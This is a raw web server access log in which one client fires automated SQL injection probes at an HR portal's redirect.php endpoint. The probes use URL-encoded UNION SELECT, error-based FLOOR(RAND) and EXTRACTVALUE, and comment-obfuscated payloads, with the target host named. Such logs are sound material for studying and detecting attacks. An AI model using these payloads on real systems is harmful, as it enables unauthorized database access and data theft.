100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53425051%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d4c4855%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x51635533%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76436133%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x51635533%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76436133%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x484e5a53%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a383669%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FmV9l&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76625338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61466455%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3rzI%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76625338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61466455%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3rzI%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6f357953%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7356554d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FMgbZ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6f357953%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7356554d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FMgbZ&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x55567756%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3157794e%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmZme%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:33 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x55567756%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3157794e%29%29%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FmZme%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x51635533%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x76436133%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d776947%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38793245%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fdtyr%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x76625338%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61466455%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F3rzI%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x316e4d58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58733358%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F4VeP&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x316e4d58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58733358%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F4VeP&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x50323576%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5530725a%29%29%2C1%29--%2F%2A%2A%2Fm2po&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x50323576%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5530725a%29%29%2C1%29--%2F%2A%2A%2Fm2po&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x456d3770%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b42476c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F84Ef%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x456d3770%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4b42476c%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2F84Ef%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x73776f39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x305a4675%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FjeRt%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x73776f39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x305a4675%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FjeRt%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x45754557%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4873364c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCtx4%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x45754557%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4873364c%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FCtx4%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x67316679%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32506848%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fqc7w&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x67316679%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x32506848%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fqc7w&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x53506761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53736f4d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FPg5c&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x53506761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x53736f4d%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FPg5c&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77575865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57386270%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FOgTd&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x77575865%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57386270%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FOgTd&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:34 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x53506f77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f6a4c54%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
